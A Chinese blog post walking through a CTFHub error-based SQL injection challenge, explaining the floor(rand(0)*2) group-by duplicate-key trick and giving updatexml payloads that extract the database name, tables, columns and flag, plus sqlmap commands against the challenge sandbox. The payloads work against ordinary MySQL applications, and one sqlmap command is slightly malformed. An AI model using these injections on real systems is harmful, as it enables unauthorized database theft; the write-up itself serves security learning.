ctfhub 报错注入

payload

 
1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

 payload拆分讲解

 1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数
2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分
3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110
4 concat():用于连接两个字符串
5 group by x:x就是相当于 as x,设一个别名
6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用

产生原因

 
MySQL报错注入通过构造payload让信息通过错误提示回显出来,主要应用与查询不回现内容,会打印错误信息;Update、insert等语句,会打印错误的信息。

 报错注入实现原因(摘自:https://www.cnblogs.com/Triomphe/p/9489639.html)

报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键

前面说过floor(rand(0)*2) 前六位是0110110

group by x先建立一个空表,用于分组.然后进行分组查询,第一次rand()执行,查询的结果是0,因为是空表所以插入这条,而插入的时候rand()又执行了一次,所以表中的结果就是

第一次执行完,接着执行rand()的值为1,因为表中存在,所以加1,表中结果成为

到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了

此时插入因为重复出现同一个key,就会出现报错 重复出现key.而报错中会说明那个key有问题,我们的key中结合了想要了解的字符串root@localhost

这样就实现了报错注入,拿到了自己想要的数据

这就是整个报错注入的原理了,rand(),floor() group by 函数缺一不可.

 

具体实验过程如下

查看页面信息

查询数据库名

查询数据表信息

 查询字段

查询字段数据信息

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
同样的,还可以利用floor()、extractvalue()等函数进行报错注入

求数据库名:输入1 union select updatexml(1,concat(0x7e,database(),0x7e),1);,页面报错:
在这里插入图片描述

求表名:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=“sqli”) ,0x7e),1);
,页面回显错误:
在这里插入图片描述

求列名:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name=“flag”) ,0x7e),1);查找flag表里的列名,页面回显:
在这里插入图片描述

求字段值:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);,得到:
ctfhub{9cfda82fce31eec39ee79d7c
在这里插入图片描述

发现只爆出了一部分flag,应该是回显长度受限,于是用到right函数,输入 1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); 得到另一部分flag:
31eec39ee79d7c78a8215374d2caaa}
在这里插入图片描述

完整flag为ctfhub{9cfda82fce31eec39ee79d7c78a8215374d2caaa}

也可使用extractvalue()函数

sqlmap方法

sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --dbs

 

 

 

 sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --D -sqli --tables

 

 

 

sqlmap.py -u http://challenge-9ed53c7157397b23.sandbox.ctfhub.com:10080/?id=1 --D sqli -T  flag --columns --dump

 

 

 

 

posted @ 2020-08-21 14:14  LY2333  阅读(296)  评论(0编辑  收藏  举报